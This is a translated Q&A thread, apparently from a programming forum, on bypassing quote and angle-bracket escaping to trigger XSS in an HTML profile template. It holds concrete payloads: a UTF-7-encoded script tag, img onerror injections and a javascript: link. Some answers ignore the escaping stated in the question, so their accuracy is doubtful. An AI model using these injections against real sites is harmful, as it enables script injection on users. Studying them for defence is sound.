假设我想恶意调用已经定义的函数myfunc()。
我怎样才能绕过双引号和尖括号转义来实现xss攻击?
<h2>Profile of INPUTNAME</h2><p>INPUT2</p><a href="INPUTURL">Homepage</a>
(大写字段是用户输入) 如何在不添加脚本标签的情况下调用myfunc()?
答案 0 :(得分:2)
(联合国)幸运的是,在这种情况下,XSS似乎无法实现。
如果转义尖括号和双引号字符,这足以阻止HTML正文中的XSS和双引号实体值上下文。
从技术上来说,在XSS Experimental Minimal Encoding Rules的HTML正文下,&
字符也应该被编码,但是我无法在这里找到一种方法将其用于攻击者的优势在HTML正文中或在实体值内。
唯一的例外是字符集被指定为UTF-7 (or as the attacker you could change it to such) then you could use the following attack:
INPUTNAME = +ADw-script+AD4-myfunc()+ADw-/script+AD4-
这将呈现为
<h2>Profile of <script>myfunc()</script></h2><p>INPUT2</p><a href="http://example.com">Homepage</a>
答案 1 :(得分:1)
您可以尝试这些注射
INPUTNAME=<img src=X onerror=myfunc>
INPUTURL="><img src=X onerror=myfunc>
会尝试调用myfunc javascript函数,因为它无法加载名为X的图像
答案 2 :(得分:0)
尝试此注入:<a href="javascript:myFunc();">
;
当有人单击链接时,代码将运行。
如果要传递字符串参数,请使用斜杠(例如/ string / vs“ string”)